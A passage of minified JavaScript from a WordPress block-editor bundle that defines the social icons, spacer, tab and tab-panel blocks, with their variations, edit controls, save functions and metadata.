site.",textdomain:"default",attributes:{url:{type:"string",role:"content"},service:{type:"string"},label:{type:"string",role:"content"},rel:{type:"string"}},usesContext:["openInNewTab","showLabels","iconColor","iconColorValue","iconBackgroundColor","iconBackgroundColorValue"],supports:{anchor:!0,reusable:!1,html:!1,interactivity:{clientNavigation:!0}},editorStyle:"wp-block-social-link-editor"};var Ee=o(I(),1);var mse=[{isDefault:!0,name:"wordpress",attributes:{service:"wordpress"},title:(0,Ee._x)("WordPress","social link block variation name"),icon:ose},{name:"fivehundredpx",attributes:{service:"fivehundredpx"},title:(0,Ee._x)("500px","social link block variation name"),icon:Tle},{name:"amazon",attributes:{service:"amazon"},title:(0,Ee._x)("Amazon","social link block variation name"),icon:fle},{name:"bandcamp",attributes:{service:"bandcamp"},title:(0,Ee._x)("Bandcamp","social link block variation name"),icon:hle},{name:"behance",attributes:{service:"behance"},title:(0,Ee._x)("Behance","social link block variation name"),icon:gle},{name:"bluesky",attributes:{service:"bluesky"},title:(0,Ee._x)("Bluesky","social link block variation name"),icon:vle},{name:"chain",attributes:{service:"chain"},title:(0,Ee._x)("Link","social link block variation name"),icon:Rb},{name:"codepen",attributes:{service:"codepen"},title:(0,Ee._x)("CodePen","social link block variation name"),icon:ble},{name:"deviantart",attributes:{service:"deviantart"},title:(0,Ee._x)("DeviantArt","social link block variation name"),icon:yle},{name:"discord",attributes:{service:"discord"},title:(0,Ee._x)("Discord","social link block variation name"),icon:xle},{name:"dribbble",attributes:{service:"dribbble"},title:(0,Ee._x)("Dribbble","social link block variation name"),icon:_le},{name:"dropbox",attributes:{service:"dropbox"},title:(0,Ee._x)("Dropbox","social link block variation name"),icon:kle},{name:"etsy",attributes:{service:"etsy"},title:(0,Ee._x)("Etsy","social link block variation name"),icon:wle},{name:"facebook",attributes:{service:"facebook"},title:(0,Ee._x)("Facebook","social link block variation name"),icon:Cle},{name:"feed",attributes:{service:"feed"},title:(0,Ee._x)("RSS Feed","social link block variation name"),icon:Sle},{name:"flickr",attributes:{service:"flickr"},title:(0,Ee._x)("Flickr","social link block variation name"),icon:Ple},{name:"foursquare",attributes:{service:"foursquare"},title:(0,Ee._x)("Foursquare","social link block variation name"),icon:Ble},{name:"goodreads",attributes:{service:"goodreads"},title:(0,Ee._x)("Goodreads","social link block variation name"),icon:Ile},{name:"google",attributes:{service:"google"},title:(0,Ee._x)("Google","social link block variation name"),icon:Ele},{name:"github",attributes:{service:"github"},title:(0,Ee._x)("GitHub","social link block variation name"),icon:Nle},{name:"gravatar",attributes:{service:"gravatar"},title:(0,Ee._x)("Gravatar","social link block variation name"),icon:Dle},{name:"instagram",attributes:{service:"instagram"},title:(0,Ee._x)("Instagram","social link block variation name"),icon:Lle},{name:"lastfm",attributes:{service:"lastfm"},title:(0,Ee._x)("Last.fm","social link block variation name"),icon:Mle},{name:"linkedin",attributes:{service:"linkedin"},title:(0,Ee._x)("LinkedIn","social link block variation name"),icon:Ale},{name:"mail",attributes:{service:"mail"},title:(0,Ee._x)("Mail","social link block variation name"),keywords:["email","e-mail"],icon:Rle},{name:"mastodon",attributes:{service:"mastodon"},title:(0,Ee._x)("Mastodon","social link block variation name"),icon:zle},{name:"meetup",attributes:{service:"meetup"},title:(0,Ee._x)("Meetup","social link block variation name"),icon:Vle},{name:"medium",attributes:{service:"medium"},title:(0,Ee._x)("Medium","social link block variation name"),icon:Fle},{name:"patreon",attributes:{service:"patreon"},title:(0,Ee._x)("Patreon","social link block variation name"),icon:Ole},{name:"pinterest",attributes:{service:"pinterest"},title:(0,Ee._x)("Pinterest","social link block variation name"),icon:Hle},{name:"pocket",attributes:{service:"pocket"},title:(0,Ee._x)("Pocket","social link block variation name"),icon:jle},{name:"reddit",attributes:{service:"reddit"},title:(0,Ee._x)("Reddit","social link block variation name"),icon:Ule},{name:"skype",attributes:{service:"skype"},title:(0,Ee._x)("Skype","social link block variation name"),icon:Gle,scope:[]},{name:"snapchat",attributes:{service:"snapchat"},title:(0,Ee._x)("Snapchat","social link block variation name"),icon:Wle},{name:"soundcloud",attributes:{service:"soundcloud"},title:(0,Ee._x)("SoundCloud","social link block variation name"),icon:$le},{name:"spotify",attributes:{service:"spotify"},title:(0,Ee._x)("Spotify","social link block variation name"),icon:qle},{name:"telegram",attributes:{service:"telegram"},title:(0,Ee._x)("Telegram","social link block variation name"),icon:Zle},{name:"threads",attributes:{service:"threads"},title:(0,Ee._x)("Threads","social link block variation name"),icon:Kle},{name:"tiktok",attributes:{service:"tiktok"},title:(0,Ee._x)("TikTok","social link block variation name"),icon:Qle},{name:"tumblr",attributes:{service:"tumblr"},title:(0,Ee._x)("Tumblr","social link block variation name"),icon:Yle},{name:"twitch",attributes:{service:"twitch"},title:(0,Ee._x)("Twitch","social link block variation name"),icon:Xle},{name:"twitter",attributes:{service:"twitter"},title:(0,Ee._x)("Twitter","social link block variation name"),icon:Jle},{name:"vimeo",attributes:{service:"vimeo"},title:(0,Ee._x)("Vimeo","social link block variation name"),icon:ese},{name:"vk",attributes:{service:"vk"},title:(0,Ee._x)("VK","social link block variation name"),icon:tse},{name:"whatsapp",attributes:{service:"whatsapp"},title:(0,Ee._x)("WhatsApp","social link block variation name"),icon:rse},{name:"x",attributes:{service:"x"},keywords:["twitter"],title:(0,Ee._x)("X","social link block variation name"),icon:ase},{name:"yelp",attributes:{service:"yelp"},title:(0,Ee._x)("Yelp","social link block variation name"),icon:nse},{name:"youtube",attributes:{service:"youtube"},title:(0,Ee._x)("YouTube","social link block variation name"),icon:ise}];mse.forEach(e=>{e.isActive||(e.isActive=(t,r)=>t.service===r.service)});var pse=mse;var{fieldsKey:cwe,formKey:uwe}=Z(dse.privateApis),{name:fse}=kS,wS={icon:n1,edit:use,variations:pse};window.__experimentalContentOnlyInspectorFields&&(wS[cwe]=[{id:"link",label:(0,CA.__)("Link"),type:"url",Edit:"link",getValue:({item:e})=>({url:e.url,rel:e.rel}),setValue:({value:e})=>({url:e.url,rel:e.rel})},{id:"label",label:(0,CA.__)("Label"),type:"text"}],wS[uwe]={fields:["link","label"]});var mwe=()=>N({name:fse,metadata:kS,settings:wS});var PA={};q(PA,{init:()=>bwe,metadata:()=>SS,name:()=>_se,settings:()=>kse});var CS=o(T(),1),TA=o(v(),1),pwe=e=>{if(e.layout)return e;let{className:t}=e,r="items-justified-",a=new RegExp(`\\b${r}[^ ]*[ ]?\\b`,"g"),n={...e,className:t?.replace(a,"").trim()},i=t?.match(a)?.[0]?.trim();return i&&Object.assign(n,{layout:{type:"flex",justifyContent:i.slice(r.length)}}),n},dwe=[{attributes:{iconColor:{type:"string"},customIconColor:{type:"string"},iconColorValue:{type:"string"},iconBackgroundColor:{type:"string"},customIconBackgroundColor:{type:"string"},iconBackgroundColorValue:{type:"string"},openInNewTab:{type:"boolean",default:!1},size:{type:"string"}},providesContext:{openInNewTab:"openInNewTab"},supports:{align:["left","center","right"],anchor:!0},migrate:pwe,save:e=>{let{attributes:{iconBackgroundColorValue:t,iconColorValue:r,itemsJustification:a,size:n}}=e,i=w(n,{"has-icon-color":r,"has-icon-background-color":t,[`items-justified-${a}`]:a}),l={"--wp--social-links--icon-color":r,"--wp--social-links--icon-background-color":t};return(0,TA.jsx)("ul",{...CS.useBlockProps.save({className:i,style:l}),children:(0,TA.jsx)(CS.InnerBlocks.Content,{})})}}],hse=dwe;var gse=o(j(),1),vo=o(T(),1),ls=o(A(),1),un=o(I(),1),vse=o(z(),1);var ca=o(v(),1),fwe=[{label:(0,un.__)("Default"),value:""},{label:(0,un.__)("Small"),value:"has-small-icon-size"},{label:(0,un.__)("Normal"),value:"has-normal-icon-size"},{label:(0,un.__)("Large"),value:"has-large-icon-size"},{label:(0,un.__)("Huge"),value:"has-huge-icon-size"}];function hwe(e){let{clientId:t,attributes:r,iconBackgroundColor:a,iconColor:n,isSelected:i,setAttributes:l,setIconBackgroundColor:s,setIconColor:c}=e,{iconBackgroundColorValue:u,iconColorValue:m,openInNewTab:p,showLabels:d,size:f}=r,{hasSocialIcons:h,hasSelectedChild:g}=(0,vse.useSelect)(B=>{let{getBlockCount:D,hasSelectedInnerBlock:M}=B(vo.store);return{hasSocialIcons:D(t)>0,hasSelectedChild:M(t)}},[t]),b=i||g,y=r.className?.includes("is-style-logos-only"),_=W();(0,gse.useEffect)(()=>{if(y){let B;return l(D=>(B={iconBackgroundColor:D.iconBackgroundColor,iconBackgroundColorValue:D.iconBackgroundColorValue,customIconBackgroundColor:D.customIconBackgroundColor},{iconBackgroundColor:void 0,iconBackgroundColorValue:void 0,customIconBackgroundColor:void 0})),()=>l({...B})}},[y,l]);let x=w(f,{"has-visible-labels":d,"has-icon-color":n.color||m,"has-icon-background-color":a.color||u}),k=(0,vo.useBlockProps)({className:x}),S=(0,vo.useInnerBlocksProps)(k,{templateLock:!1,orientation:r.layout?.orientation??"horizontal",__experimentalAppenderTagName:"li",renderAppender:!h||b?vo.InnerBlocks.ButtonBlockAppender:void 0}),C=[{value:n.color||m,onChange:B=>{c(B),l({iconColorValue:B})},label:(0,un.__)("Icon color"),resetAllFilter:()=>{c(void 0),l({iconColorValue:void 0})}}];y||C.push({value:a.color||u,onChange:B=>{s(B),l({iconBackgroundColorValue:B})},label:(0,un.__)("Icon background"),resetAllFilter:()=>{s(void 0),l({iconBackgroundColorValue:void 0})}});let E=(0,vo.__experimentalUseMultipleOriginColorsAndGradients)();return(0,ca.jsxs)(ca.Fragment,{children:[(0,ca.jsx)(vo.InspectorControls,{children:(0,ca.jsxs)(ls.__experimentalToolsPanel,{label:(0,un.__)("Settings"),resetAll:()=>{l({openInNewTab:!1,showLabels:!1,size:void 0})},dropdownMenuProps:_,children:[(0,ca.jsx)(ls.__experimentalToolsPanelItem,{isShownByDefault:!0,hasValue:()=>!!f,label:(0,un.__)("Icon size"),onDeselect:()=>l({size:void 0}),children:(0,ca.jsx)(ls.SelectControl,{__next40pxDefaultSize:!0,label:(0,un.__)("Icon size"),onChange:B=>{l({size:B===""?void 0:B})},value:f??"",options:fwe})}),(0,ca.jsx)(ls.__experimentalToolsPanelItem,{isShownByDefault:!0,label:(0,un.__)("Show text"),hasValue:()=>!!d,onDeselect:()=>l({showLabels:!1}),children:(0,ca.jsx)(ls.ToggleControl,{label:(0,un.__)("Show text"),checked:d,onChange:()=>l({showLabels:!d})})}),(0,ca.jsx)(ls.__experimentalToolsPanelItem,{isShownByDefault:!0,label:(0,un.__)("Open links in new tab"),hasValue:()=>!!p,onDeselect:()=>l({openInNewTab:!1}),children:(0,ca.jsx)(ls.ToggleControl,{label:(0,un.__)("Open links in new tab"),checked:p,onChange:()=>l({openInNewTab:!p})})})]})}),E.hasColorsOrGradients&&(0,ca.jsxs)(vo.InspectorControls,{group:"color",children:[C.map(({onChange:B,label:D,value:M,resetAllFilter:O})=>(0,ca.jsx)(vo.__experimentalColorGradientSettingsDropdown,{__experimentalIsRenderedInSidebar:!0,settings:[{colorValue:M,label:D,onColorChange:B,isShownByDefault:!0,resetAllFilter:O,enableAlpha:!0,clearable:!0}],panelId:t,...E},`social-links-color-${D}`)),!y&&(0,ca.jsx)(vo.ContrastChecker,{textColor:m,backgroundColor:u,isLargeText:!1})]}),(0,ca.jsx)("ul",{...S})]})}var gwe={iconColor:"icon-color",iconBackgroundColor:"icon-background-color"},bse=(0,vo.withColors)(gwe)(hwe);var SS={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/social-links",title:"Social Icons",category:"widgets",allowedBlocks:["core/social-link"],description:"Display icons linking to your social profiles or sites.",keywords:["links"],textdomain:"default",attributes:{iconColor:{type:"string"},customIconColor:{type:"string"},iconColorValue:{type:"string"},iconBackgroundColor:{type:"string"},customIconBackgroundColor:{type:"string"},iconBackgroundColorValue:{type:"string"},openInNewTab:{type:"boolean",default:!1},showLabels:{type:"boolean",default:!1},size:{type:"string"}},providesContext:{openInNewTab:"openInNewTab",showLabels:"showLabels",iconColor:"iconColor",iconColorValue:"iconColorValue",iconBackgroundColor:"iconBackgroundColor",iconBackgroundColorValue:"iconBackgroundColorValue"},supports:{align:["left","center","right"],anchor:!0,html:!1,__experimentalExposeControlsToChildren:!0,layout:{allowSwitching:!1,allowInheriting:!1,allowVerticalAlignment:!1,default:{type:"flex"}},color:{enableContrastChecker:!1,background:!0,gradients:!0,text:!1,__experimentalDefaultControls:{background:!1}},spacing:{blockGap:["horizontal","vertical"],margin:!0,padding:!0,units:["px","em","rem","vh","vw"],__experimentalDefaultControls:{blockGap:!0,margin:!0,padding:!1}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}},contentRole:!0,listView:!0},styles:[{name:"default",label:"Default",isDefault:!0},{name:"logos-only",label:"Logos Only"},{name:"pill-shape",label:"Pill Shape"}],editorStyle:"wp-block-social-links-editor",style:"wp-block-social-links"};var TS=o(T(),1),yse=o(v(),1);function xse(e){let{attributes:{iconBackgroundColorValue:t,iconColorValue:r,showLabels:a,size:n}}=e,i=w(n,{"has-visible-labels":a,"has-icon-color":r,"has-icon-background-color":t}),l=TS.useBlockProps.save({className:i}),s=TS.useInnerBlocksProps.save(l);return(0,yse.jsx)("ul",{...s})}var{name:_se}=SS,kse={example:{innerBlocks:[{name:"core/social-link",attributes:{service:"wordpress",url:"https://wordpress.org"}},{name:"core/social-link",attributes:{service:"facebook",url:"https://www.facebook.com/WordPress/"}},{name:"core/social-link",attributes:{service:"twitter",url:"https://twitter.com/WordPress"}}]},icon:n1,edit:bse,save:xse,deprecated:hse},bwe=()=>N({name:_se,metadata:SS,settings:kse});var BA={};q(BA,{init:()=>Swe,metadata:()=>BS,name:()=>Vse,settings:()=>Fse});var wse=o(T(),1),Cse=o(v(),1),ywe=[{attributes:{height:{type:"number",default:100},width:{type:"number"}},migrate(e){let{height:t,width:r}=e;return{...e,width:r!==void 0?`${r}px`:void 0,height:t!==void 0?`${t}px`:void 0}},save({attributes:e}){return(0,Cse.jsx)("div",{...wse.useBlockProps.save({style:{height:e.height,width:e.width},"aria-hidden":!0})})}}],Sse=ywe;var ua=o(T(),1),Nse=o(A(),1),Mg=o(j(),1),Dse=o(L(),1),PS=o(z(),1);var Lg=o(I(),1),pc=o(T(),1),ml=o(A(),1),Pse=o(ue(),1),Bse=o(L(),1);var zb=0;var On=o(v(),1),{useSpacingSizes:xwe}=Z(pc.privateApis);function Tse({label:e,onChange:t,isResizing:r,value:a=""}){let n=(0,Pse.useInstanceId)(ml.__experimentalUnitControl,"block-spacer-height-input"),i=xwe(),[l]=(0,pc.useSettings)("spacing.units"),s=l?l.filter(d=>d!=="%"):["px","em","rem","vw","vh"],c=(0,ml.__experimentalUseCustomUnits)({availableUnits:s,defaultValues:{px:100,em:10,rem:10,vw:10,vh:25}}),[u,m]=(0,ml.__experimentalParseQuantityAndUnitFromRawValue)(a),p=(0,pc.isValueSpacingPreset)(a)?a:[u,r?"px":m].join("");return(0,On.jsx)(On.Fragment,{children:i?.length<2?(0,On.jsx)(ml.__experimentalUnitControl,{id:n,isResetValueOnUnitChange:!0,min:zb,onChange:t,value:p,units:c,label:e,__next40pxDefaultSize:!0}):(0,On.jsx)(Bse.View,{className:"tools-panel-item-spacing",children:(0,On.jsx)(pc.__experimentalSpacingSizesControl,{values:{all:p},onChange:({all:d})=>{t(d)},label:e,sides:["all"],units:c,allowReset:!1,splitOnAxis:!1,showSideInLabel:!1})})})}function Ise({setAttributes:e,orientation:t,height:r,width:a,isResizing:n}){let i=W();return(0,On.jsx)(pc.InspectorControls,{children:(0,On.jsxs)(ml.__experimentalToolsPanel,{label:(0,Lg.__)("Settings"),resetAll:()=>{e({width:void 0,height:"100px"})},dropdownMenuProps:i,children:[t==="horizontal"&&(0,On.jsx)(ml.__experimentalToolsPanelItem,{label:(0,Lg.__)("Width"),isShownByDefault:!0,hasValue:()=>a!==void 0,onDeselect:()=>e({width:void 0}),children:(0,On.jsx)(Tse,{label:(0,Lg.__)("Width"),value:a,onChange:l=>e({width:l}),isResizing:n})}),t!=="horizontal"&&(0,On.jsx)(ml.__experimentalToolsPanelItem,{label:(0,Lg.__)("Height"),isShownByDefault:!0,hasValue:()=>r!=="100px",onDeselect:()=>e({height:"100px"}),children:(0,On.jsx)(Tse,{label:(0,Lg.__)("Height"),value:r,onChange:l=>e({height:l}),isResizing:n})})]})})}var pl=o(v(),1),{useSpacingSizes:_we}=Z(ua.privateApis),Ese=({orientation:e,onResizeStart:t,onResize:r,onResizeStop:a,isSelected:n,isResizing:i,setIsResizing:l,...s})=>{let c=m=>e==="horizontal"?m.clientWidth:m.clientHeight,u=m=>`${c(m)}px`;return(0,pl.jsx)(Nse.ResizableBox,{className:w("block-library-spacer__resize-container",{"resize-horizontal":e==="horizontal","is-resizing":i,"is-selected":n}),onResizeStart:(m,p,d)=>{let f=u(d);t(f),r(f)},onResize:(m,p,d)=>{r(u(d)),i||l(!0)},onResizeStop:(m,p,d)=>{let f=c(d);a(`${f}px`),l(!1)},__experimentalShowTooltip:!0,__experimentalTooltipProps:{axis:e==="horizontal"?"x":"y",position:"corner",isVisible:i},showHandle:n,...s})},kwe=({attributes:e,isSelected:t,setAttributes:r,toggleSelection:a,context:n,__unstableParentLayout:i,className:l})=>{let s=(0,PS.useSelect)(ne=>ne(ua.store).getSettings()?.disableCustomSpacingSizes),{orientation:c}=n,{orientation:u,type:m,default:{type:p}={}}=i||{},d=m==="flex"||!m&&p==="flex",f=!u&&d?"horizontal":u||c,{height:h,width:g,style:b={}}=e,{layout:y={}}=b,{selfStretch:_,flexSize:x}=y,k=_we(),[S,C]=(0,Mg.useState)(!1),[E,B]=(0,Mg.useState)(null),[D,M]=(0,Mg.useState)(null),O=()=>a(!1),R=()=>a(!0),{__unstableMarkNextChangeAsNotPersistent:F}=(0,PS.useDispatch)(ua.store),P=ne=>{R(),d&&r({style:{...b,layout:{...y,flexSize:ne,selfStretch:"fixed"}}}),r({height:ne}),B(null)},H=ne=>{R(),d&&r({style:{...b,layout:{...y,flexSize:ne,selfStretch:"fixed"}}}),r({width:ne}),M(null)},$=()=>{if(!d)return E||(0,ua.getSpacingPresetCssVar)(h)||void 0},V=()=>{if(!d)return D||(0,ua.getSpacingPresetCssVar)(g)||void 0},G=f==="horizontal"?D||x:E||x,K={height:f==="horizontal"?24:$(),width:f==="horizontal"?V():void 0,minWidth:f==="vertical"&&d?48:void 0,flexBasis:d?G:void 0,flexGrow:d&&S?0:void 0},X=ne=>ne==="horizontal"?(0,pl.jsx)(Ese,{minWidth:zb,enable:{top:!1,right:!0,bottom:!1,left:!1,topRight:!1,bottomRight:!1,bottomLeft:!1,topLeft:!1},orientation:ne,onResizeStart:O,onResize:M,onResizeStop:H,isSelected:t,isResizing:S,setIsResizing:C}):(0,pl.jsx)(pl.Fragment,{children:(0,pl.jsx)(Ese,{minHeight:zb,enable:{top:!1,right:!1,bottom:!0,left:!1,topRight:!1,bottomRight:!1,bottomLeft:!1,topLeft:!1},orientation:ne,onResizeStart:O,onResize:B,onResizeStop:P,isSelected:t,isResizing:S,setIsResizing:C})});(0,Mg.useEffect)(()=>{let ne=J=>{F(),r(J)};if(d&&_!=="fill"&&_!=="fit"&&x===void 0)if(f==="horizontal"){let J=(0,ua.getCustomValueFromPreset)(g,k)||(0,ua.getCustomValueFromPreset)(h,k)||"100px";ne({width:"0px",style:{...b,layout:{...y,flexSize:J,selfStretch:"fixed"}}})}else{let J=(0,ua.getCustomValueFromPreset)(h,k)||(0,ua.getCustomValueFromPreset)(g,k)||"100px";ne({height:"0px",style:{...b,layout:{...y,flexSize:J,selfStretch:"fixed"}}})}else d&&(_==="fill"||_==="fit")?ne(f==="horizontal"?{width:void 0}:{height:void 0}):!d&&(_||x)&&ne({...f==="horizontal"?{width:x}:{height:x},style:{...b,layout:{...y,flexSize:void 0,selfStretch:void 0}}})},[b,x,h,f,d,y,_,r,k,g,F]);let ee=(0,ua.useBlockEditingMode)();return(0,pl.jsxs)(pl.Fragment,{children:[(0,pl.jsx)(Dse.View,{...(0,ua.useBlockProps)({style:K,className:w(l,{"custom-sizes-disabled":s})}),children:ee==="default"&&X(f)}),!d&&(0,pl.jsx)(Ise,{setAttributes:r,height:E||h,width:D||g,orientation:f,isResizing:S})]})},Lse=kwe;var BS={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/spacer",title:"Spacer",category:"design",description:"Add white space between blocks and customize its height.",textdomain:"default",attributes:{height:{type:"string",default:"100px"},width:{type:"string"}},usesContext:["orientation"],supports:{anchor:!0,spacing:{margin:["top","bottom"],__experimentalDefaultControls:{margin:!0}},interactivity:{clientNavigation:!0}},editorStyle:"wp-block-spacer-editor",style:"wp-block-spacer"};var Mse=o(U(),1),Cwe={to:[{type:"block",blocks:["core/separator"],transform:({anchor:e})=>(0,Mse.createBlock)("core/separator",{anchor:e||void 0})}]},Ase=Cwe;var Vb=o(T(),1),Rse=o(v(),1);function zse({attributes:e}){let{height:t,width:r,style:a}=e,{layout:{selfStretch:n}={}}=a||{},i=n==="fill"||n==="fit"?void 0:t;return(0,Rse.jsx)("div",{...Vb.useBlockProps.save({style:{height:(0,Vb.getSpacingPresetCssVar)(i),width:(0,Vb.getSpacingPresetCssVar)(r)},"aria-hidden":!0})})}var{name:Vse}=BS,Fse={icon:FP,transforms:Ase,edit:Lse,save:zse,deprecated:Sse},Swe=()=>N({name:Vse,metadata:BS,settings:Fse});var EA={};q(EA,{init:()=>Iwe,metadata:()=>OS,name:()=>Kse,settings:()=>Qse});var Wse=o(I(),1),qd=o(T(),1),zS=o(z(),1),gu=o(j(),1);var RS=o(T(),1),Ag=o(A(),1),AS=o(I(),1),Hse=o(z(),1);var Fb=o(I(),1),IA=o(U(),1),Ob=o(T(),1),ES=o(A(),1),NS=o(z(),1),IS=o(v(),1);function dc({tabsClientId:e}){let{insertBlock:t}=(0,NS.useDispatch)(Ob.store),{tabPanelClientId:r,tabsMenuClientId:a,tabCount:n,existingAnchors:i}=(0,NS.useSelect)(s=>{if(!e)return{tabPanelClientId:null,tabsMenuClientId:null,existingAnchors:[]};let{getBlocks:c}=s(Ob.store),u=c(e),m=u.find(d=>d.name==="core/tab-panel"),p=u.find(d=>d.name==="core/tabs-menu");return{tabPanelClientId:m?.clientId||null,tabsMenuClientId:p?.clientId||null,tabCount:m?.innerBlocks?.length||0,existingAnchors:(m?.innerBlocks||[]).map(d=>d.attributes.anchor).filter(Boolean)}},[e]);return(0,IS.jsx)(Ob.BlockControls,{group:"other",children:(0,IS.jsx)(ES.ToolbarGroup,{children:(0,IS.jsx)(ES.ToolbarButton,{className:"components-toolbar__control",onClick:()=>{if(!r)return;let s=new Set(i),c=n+1;for(;s.has(`tab-${c}`);)c++;let u=(0,IA.createBlock)("core/tab",{anchor:`tab-${c}`,label:(0,Fb.sprintf)((0,Fb.__)("Tab %d"),c)});if(t(u,void 0,r),a){let m=(0,IA.createBlock)("core/tabs-menu-item",{anchor:`tab-${c}-button`});t(m,void 0,a)}},text:(0,Fb.__)("Add tab")})})})}var Hb=o(T(),1),LS=o(A(),1),Ose=o(I(),1),MS=o(z(),1),DS=o(v(),1);function fc({tabsClientId:e}){let{removeBlock:t,updateBlockAttributes:r,selectBlock:a,__unstableMarkNextChangeAsNotPersistent:n}=(0,MS.useDispatch)(Hb.store),{activeTabClientId:i,activeMenuItemClientId:l,tabCount:s,editorActiveTabIndex:c}=(0,MS.useSelect)(p=>{if(!e)return{activeTabClientId:null,activeMenuItemClientId:null,tabCount:0,editorActiveTabIndex:0};let{getBlocks:d,getBlockAttributes:f}=p(Hb.store),h=f(e),g=h?.editorActiveTabIndex??h?.activeTabIndex??0,b=d(e),y=b.find(B=>B.name==="core/tab-panel"),_=b.find(B=>B.name==="core/tabs-menu"),x=y?.innerBlocks||[],k=_?.innerBlocks||[],S=x[g],C=S?.attributes?.anchor?`${S.attributes.anchor}-button`:null,E=C?k.find(B=>B.attributes?.anchor===C):k[g];return{activeTabClientId:S?.clientId||null,activeMenuItemClientId:E?.clientId||null,tabCount:x.length,editorActiveTabIndex:g}},[e]),u=()=>{if(!i||s<=1)return;let p=c>=s-1?s-2:c;n(),r(e,{editorActiveTabIndex:p}),t(i,!1),l&&t(l,!1),e&&a(e)},m=s<=1||!i;return(0,DS.jsx)(Hb.BlockControls,{group:"other",children:(0,DS.jsx)(LS.ToolbarGroup,{children:(0,DS.jsx)(LS.ToolbarButton,{className:"components-toolbar__control",onClick:u,text:(0,Ose.__)("Remove tab"),disabled:m})})})}var ss=o(v(),1);function jse({tabsClientId:e,blockIndex:t,isDefaultTab:r}){let{updateBlockAttributes:a}=(0,Hse.useDispatch)(RS.store),n=W();return(0,ss.jsxs)(ss.Fragment,{children:[(0,ss.jsx)(dc,{tabsClientId:e}),(0,ss.jsx)(fc,{tabsClientId:e}),(0,ss.jsx)(RS.InspectorControls,{children:(0,ss.jsx)(Ag.__experimentalToolsPanel,{label:(0,AS.__)("Settings"),resetAll:()=>{a(e,{activeTabIndex:0})},dropdownMenuProps:n,children:(0,ss.jsx)(Ag.__experimentalToolsPanelItem,{label:(0,AS.__)("Default tab"),hasValue:()=>r&&t!==0,onDeselect:()=>{a(e,{activeTabIndex:0})},isShownByDefault:!0,children:(0,ss.jsx)(Ag.CheckboxControl,{label:(0,AS.__)("Default tab"),checked:r,onChange:i=>{a(e,{activeTabIndex:i?t:0})}})})})})]})}var Use=o(nr(),1);function Gse(e,t){let r=new window.DOMParser().parseFromString(e,"text/html");return r.body?.textContent?(0,Use.cleanForSlug)(r.body.textContent):`tab-panel-${t}`}var VS=o(v(),1),Twe=[["core/paragraph",{placeholder:(0,Wse.__)("Type / to choose a block")}]],{cancelAnimationFrame:Pwe}=window;function $se({attributes:e,clientId:t,context:r,isSelected:a,__unstableLayoutClassNames:n}){let i=(0,gu.useRef)(),{anchor:l,label:s}=e,c=r["core/tabs-activeTabIndex"]??0,m=r["core/tabs-editorActiveTabIndex"]??c;(0,gu.useEffect)(()=>()=>{i.current&&Pwe(i.current)},[]);let{blockIndex:p,hasInnerBlocksSelected:d,tabsClientId:f}=(0,zS.useSelect)(E=>{let{getBlockRootClientId:B,getBlockIndex:D,hasSelectedInnerBlock:M}=E(qd.store),O=B(t),R=B(O),F=D(t),P=M(t,!0);return{blockIndex:F,hasInnerBlocksSelected:P,tabsClientId:R}},[t]),{updateBlockAttributes:h,__unstableMarkNextChangeAsNotPersistent:g}=(0,zS.useDispatch)(qd.store);(0,gu.useEffect)(()=>{(a||d)&&f&&m!==p&&(g(),h(f,{editorActiveTabIndex:p}))},[a,d,f,m,p,h,g]);let b=m===p,y=c===p,_=(0,gu.useMemo)(()=>!!(a||d||b),[a,d,b]),x=(0,gu.useMemo)(()=>l||Gse(s,p),[l,s,p]),k=(0,gu.useMemo)(()=>`${x}--tab`,[x]),S=(0,qd.useBlockProps)({hidden:!_,"aria-labelledby":k,id:x,role:"tabpanel",tabIndex:_?0:-1,className:w("wp-block-tab__editor-content",n)}),C=(0,qd.useInnerBlocksProps)(S,{template:Twe});return(0,VS.jsxs)("section",{...C,children:[(0,VS.jsx)(jse,{tabsClientId:f,blockIndex:p,isDefaultTab:y}),_&&C.children]})}var FS=o(T(),1),qse=o(v(),1);function Zse({attributes:e}){let{anchor:t}=e,r=t,a=FS.useBlockProps.save({role:"tabpanel"}),n=FS.useInnerBlocksProps.save(a);return(0,qse.jsx)("section",{...n,id:r})}var OS={$schema:"https://schemas.wp.org/trunk/block.json",__experimental:!0,apiVersion:3,name:"core/tab",title:"Tab",description:"Content for a tab in a tabbed interface.",version:"1.0.0",category:"design",textdomain:"default",attributes:{label:{type:"string",default:""}},parent:["core/tab-panel"],usesContext:["core/tabs-activeTabIndex","core/tabs-editorActiveTabIndex"],supports:{anchor:!0,html:!1,reusable:!1,color:{background:!0,text:!0,__experimentalDefaultControls:{background:!0,text:!0}},layout:!0,spacing:{blockGap:!0,padding:!0,margin:!1},typography:{fontSize:!0,__experimentalFontFamily:!0,__experimentalDefaultControls:{fontSize:!0,__experimentalFontFamily:!0}},renaming:!0},providesContext:{"core/tab-label":"label"},editorScript:"file:./index.js",style:"file:./style-index.css"};var{name:Kse}=OS,Qse={icon:iB,edit:$se,save:Zse},Iwe=()=>N({name:Kse,metadata:OS,settings:Qse});var NA={};q(NA,{init:()=>Dwe,metadata:()=>jS,name:()=>tce,settings:()=>rce});var Rg=o(T(),1),Yse=o(z(),1);var jm=o(v(),1),Ewe=[["core/tab",{}]];function Xse({clientId:e}){let t=(0,Rg.useBlockProps)(),r=(0,Rg.useInnerBlocksProps)(t,{template:Ewe,templateLock:!1,renderAppender:!1}),a=(0,Yse.useSelect)(n=>{let{getBlockRootClientId:i}=n(Rg.store);return i(e)},[e]);return(0,jm.jsxs)(jm.Fragment,{children:[(0,jm.jsx)(dc,{tabsClientId:a}),(0,jm.jsx)(fc,{tabsClientId:a}),(0,jm.jsx)("div",{...r})]})}var HS=o(T(),1),Jse=o(v(),1);function ece(){let e=HS.useBlockProps.save(),t=HS.useInnerBlocksProps.save(e);return(0,Jse.jsx)("div",{...t})}var jS={$schema:"https://schemas.wp.org/trunk/block.json",__experimental:!0,apiVersion:3,name:"core/tab-panel",title:"Tab Panel",description:"Container for tab panel content in a tabbed 